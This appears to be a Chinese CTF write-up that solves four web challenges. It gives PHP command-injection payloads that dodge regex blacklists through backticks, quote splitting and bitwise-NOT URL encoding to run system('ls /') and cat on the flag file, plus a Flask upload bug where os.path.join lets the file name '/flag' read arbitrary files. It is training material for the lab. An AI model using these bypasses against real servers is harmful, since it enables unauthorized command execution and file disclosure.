目录
[GDOUCTF 2023]EZ WEB
打开环境发现路径/src
访问/src,得到app.py文件。发现/super-secret-route-nobody-will-guess使用了PUT方法。
访问/super-secret-route-nobody-will-guess,使用bp抓包改请求头为PUT
发包得到flag
[UUCTF 2022 新生赛]ez_rce
GET传参code。使用ls /查看根目录,正则过滤了/sys、ls,可使用print()、l\s绕过
?code=print(`l\s /`);
//在linux系统中,反引号``作为内联执行,输出查询结果的内容。
发现fffffffffflagafag目录,ca''t查看得到flag
[SWPUCTF 2021 新生赛]hardrce
正则过滤blacklist中的各种符号、大小写。
于是使用:
URL编码取反绕过正则实现RCE
取反绕过正则实现 “~”代表取反运算符
使用原因:取反操作后基本上用的都是不可见字符,所以不会触发正则匹配。取反后需进行URL 编码。
e.g 使用~对phpinfo进行取反操作,再使用urlencode函数对其进行编码
构造payload: 传入后成功回显
?wllm=(~%8F%97%8F%96%91%99%90)(); //~%8F%97%8F%96%91%99%90:对phpinfo函数再取反-->执行phpinfo函数;
故 使用~对system、ls 、cat、flag等进行取反操作,再使用urlencode函数对其进行编码
<?php
echo urlencode(~'system');
echo '\n';
echo urlencode(~'ls /');
echo '\n';
echo urlencode(~'cat /flllllaaaaaaggggggg');
?>
//输出:%8C%86%8C%8B%9A%92
%93%8C%DF%D0
%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98
ls /查看根目录
?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
//~%8C%86%8C%8B%9A%92:对system函数再取反-->恢复并执行system函数;后面同理
cat读取flllllaaaaaaggggggg
?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);
[NISACTF 2022]babyupload
[NISACTF 2022]babyupload-CSDN博客
查看源代码发现/source路径
访问得到app.py文件,代码审计
from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuid //通用唯一识别码(Universally Unique Identifier),标准格式为xxxxxxxx-xxxx-xxxx-xxxxxxxxxxxx
app = Flask(__name__)
SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""
def db():
g_db = getattr(g, '_database', None)
if g_db is None:
g_db = g._database = sqlite3.connect("database.db")
return g_db
@app.before_first_request
def setup(): //建立数据库连接
os.remove("database.db")
cur = db().cursor()
cur.executescript(SCHEMA)
@app.route('/')
def hello_world():
return """<!DOCTYPE html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
Select image to upload:
<input type="file" name="file">
<input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""
@app.route('/source')
def source():
return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)
@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return redirect('/')
file = request.files['file']
if "." in file.filename: //阻止文件名中包含.的文件上传
return "Bad filename!", 403 //即过滤了后缀名
conn = db()
cur = conn.cursor()
uid = uuid.uuid4().hex //生成文件的uuid
try: //检查文件是否重复
cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
except sqlite3.IntegrityError:
return "Duplicate file"
conn.commit()
file.save('uploads/' + file.filename) //保存文件在uploads/路径下
return redirect('/file/' + uid) //返回文件的uuid
@app.route('/file/<id>')
def file(id): //访问文件
conn = db()
cur = conn.cursor()
cur.execute("select path from files where id=?", (id,)) //根据文件uuid,在数据库中查询文件名
res = cur.fetchone() //将数据库查询结果返回
if res is None:
return "File not found", 404
# print(res[0])
with open(os.path.join("uploads/", res[0]), "r") as f: //将查询到的文件名与uploads/拼接
return f.read() //os.path.join()函数存在绝对路径拼接漏洞
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
题意:
上传的文件不能有.后缀名,上传后生成一个uuid,并将uuid和文件名存入数据库中,并返回文件的uuid。
再通过/file/uuid访问文件,通过查询数据库得到对应文件名,在文件名前拼接后读取uploads/路径下上传的文件。
1.uuid
通用唯一识别码(Universally Unique Identifier),也称为 GUID (Globally Unique IDentifier) 全球唯一标识符。 能基本保证全球唯一性
UUID的标准型式包含32个16进制数字,以连字号分为五段,形式为 8-4-4-4-12 的32个字符。标准格式为xxxxxxxx-xxxx-xxxx-xxxxxxxxxxxx
2.绝对路径拼接漏洞
os.path.join()函数存在绝对路径拼接漏洞
os.path.join(path,*paths)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径,而之后的每个参数被当作组件拼接到基础路径之后。
import os
print(os.path.join('path','line','666'))
#在以/开始的参数,从最后一个以/开头的参数开始拼接,之前的参数全部丢弃。该路径将视为绝对路径。
print(os.path.join('path','/line','666'))
print(os.path.join('path','/line','/666'))
#存在以./开始的参数正常拼接
print(os.path.join('path','line','./666'))
#时存在以./与/开始的参数,以/为主
print(os.path.join('path','/line','./666'))
//输出: path/line/666
/line/666
/666
path/line/./666
/line/./666
故当上传的文件名为 /flag 时,上传后通过uuid访问文件后,查询到文件名 /flag ,那么进行路径拼接时,uploads/ 将被删除,读取到的就是根目录下的 flag 文件。
上传一句话木马文件,使用bp抓包 修改文件名为 /flag 后发包,利用访问返回的文件路径 file/uuid即可读取 flag。